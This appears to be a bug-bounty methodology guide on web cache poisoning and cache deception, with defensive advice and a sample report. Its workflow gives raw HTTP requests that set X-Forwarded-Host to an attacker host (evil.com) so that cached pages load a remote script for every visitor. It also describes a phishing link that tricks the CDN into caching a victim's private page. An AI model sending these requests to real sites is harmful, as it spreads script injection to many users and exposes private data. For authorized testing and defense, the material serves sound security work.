Web Cache Poisoning Deception

Web Cache Poisoning

When to Use

• When targeting high-traffic web applications utilizing aggressive content caching layers like Cloudflare, Fastly, Akamai, or Varnish.
• When you discover Cross-Site Scripting (XSS) or Open Redirect vulnerabilities that rely on HTTP headers (e.g., X-Forwarded-Host) rather than URL parameters.
• To execute a mass-scale attack where exploiting the cache server once compromises thousands of innocent users visiting standard pages (like /index.html).

Prerequisites

• Authorized scope and target URLs from bug bounty program
• Burp Suite Professional (or Community) configured with browser proxy
• Familiarity with OWASP Top 10 and common web vulnerability classes
• SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Cache Architecture Reconnaissance

# Concept: You need to understand how the cache server identifies identical requests.
# CDNs usually "key" a cache based on the URL path and the Host header.
# "Unkeyed" inputs are headers the cache IGNORES when matching files, but the 
# BACKEND application still processes.

# 1. Identify active caching by looking at HTTP response headers:
HTTP/1.1 200 OK
X-Cache: HIT      # Indicates the response came from the cache
Age: 15           # Indicates the cached file is 15 seconds old
Cache-Control: public, max-age=1800 # Time-to-Live is 30 minutes

# 2. Bust the cache for safe testing (Crucial Rule!)
# Always append a random query parameter so you don't poison production traffic while testing.
GET /?cb=xyz123 HTTP/1.1

Phase 2: Finding Unkeyed Inputs (Param Miner)

# Concept: We need to find HTTP headers that alter the backend response without 
# altering the cache key.

# 1. Use the "Param Miner" extension in Burp Suite Professional.
# Right-click request -> Extensions -> Param Miner -> "Guess headers".

# 2. Example Manual Probing:
GET /?cb=xyz123 HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

# 3. Analyze the Backend Response:
HTTP/1.1 200 OK
<script src="https://evil.com/static/vendor.js"></script>

# Discovery: The backend dynamically generated a <script> tag based on our 
# `X-Forwarded-Host` header. Because `X-Forwarded-Host` is unkeyed, this is highly vulnerable.

Phase 3: Exploiting the Web Cache Poisoning

# Goal: Force the CDN to save our malicious response and serve it to everyone.

# 1. Prepare your malicious payload server (evil.com/static/vendor.js)
# File contains: alert(document.domain)

# 2. Execute the Poisoning (Targeting the live, non-cache-busted path)
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

# Keep sending this request until the cache TTL expires (or the cache drops).
# Eventually, the CDN will forward your request to the backend.
# The backend will respond with the malicious script source.
# The CDN will save (HIT) this response into the cache for the key `GET target.com/`.

# 3. Verification:
# Load the homepage normally in your browser.
GET / HTTP/1.1
Host: target.com

# The page loads, but XSS executes immediately because the CDN served the poisoned cached copy.

Phase 4: Web Cache Deception (A Different Attack)

# Concept: Instead of poisoning a public page, trick a victim into caching their 
# PRIVATE data on a PUBLIC, static path.

# Scenario: The CDN caches all `.css` files ignoring query params or cookies.
# Normal request: `GET /profile` -> Cache: MISS (Private data)
# Malicious request: `GET /profile/avatar.css` -> Cache: HIT (Because of .css extension)

# 1. Attacker sends phishing link to victim: 
# https://target.com/profile/avatar.css

# 2. Victim clicks link. The backend ignores `/avatar.css` as a routing error and 
# serves the victim's private `/profile` dashboard data.

# 3. The CDN sees the `.css` extension on the URL, assumes it's static public content, 
# and CACHES the victim's private profile HTML!

# 4. Attacker navigates to `https://target.com/profile/avatar.css` and views the victim's cached profile.

Decision Point 🔀

flowchart TD
    A[Identify Caching Architecture] --> B{Does application reflect custom headers?}
    B -->|Yes| C[Test X-Forwarded-Host, X-Original-URL]
    C --> D{Does response vary based on header?}
    D -->|Yes| E[Execute Poisoning to store XSS in cache]
    B -->|No| F{Does CDN cache based on file extensions?}
    F -->|Yes| G[Test Web Cache Deception by appending .css to private endpoints]

🔵 Blue Team Detection & Defense

• Strict Cache Keys: Ensure that any HTTP header used by the backend application to alter the response (e.g., X-Forwarded-Host, Origin) is explicitly added to the CDN's cache key configuration (the "Vary" header).
• Disable Risky Headers: If your application does not rely on X-Forwarded-Host or X-Original-URL, configure the edge proxy reverse proxy to drop those headers entirely before they reach the backend application.
• Strict Routing (Defense against Deception): The backend application framework must implement strict routing. A request to /profile/style.css must return a 404 error if that file does not exist, rather than gracefully degrading and rendering the user's dashboard data.

Key Concepts

Output Format

Bug Bounty Report: Stored XSS via Web Cache Poisoning
=====================================================
Vulnerability: Web Cache Poisoning resulting in Stored XSS
Severity: High (CVSS 8.2)
Target: GET /dashboard

Description:
The application's Cloudflare caching configuration relies heavily on the URL path but ignores the `X-Forwarded-Host` HTTP header (unkeyed input). The backend application uses this header to dynamically rewrite resource paths. By sending a request with a malicious `X-Forwarded-Host` header precisely when the cache expires, an attacker can poison the `/dashboard` path. 

Reproduction Steps:
1. Identify the cache expiration timer via the `Age` HTTP response header.
2. Send the following request precisely as the cache hits 0:
   GET /dashboard HTTP/1.1
   Host: target.com
   X-Forwarded-Host: evil-attacker.com
3. The Cloudflare edge node requests the page from the backend. The backend constructs the page with `<script src="https://evil-attacker.com/app.js">`.
4. Cloudflare caches this payload.
5. All corporate users navigating to `/dashboard` for the next 30 minutes are served the malicious script, executing XSS.

Impact:
Mass-scale Account Takeover. Exploitation requires zero interaction from the victim other than visiting the legitimate landing page.

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• PortSwigger: Web cache poisoning
• PortSwigger: Web cache deception
• HackTricks: Cache Deception & Poisoning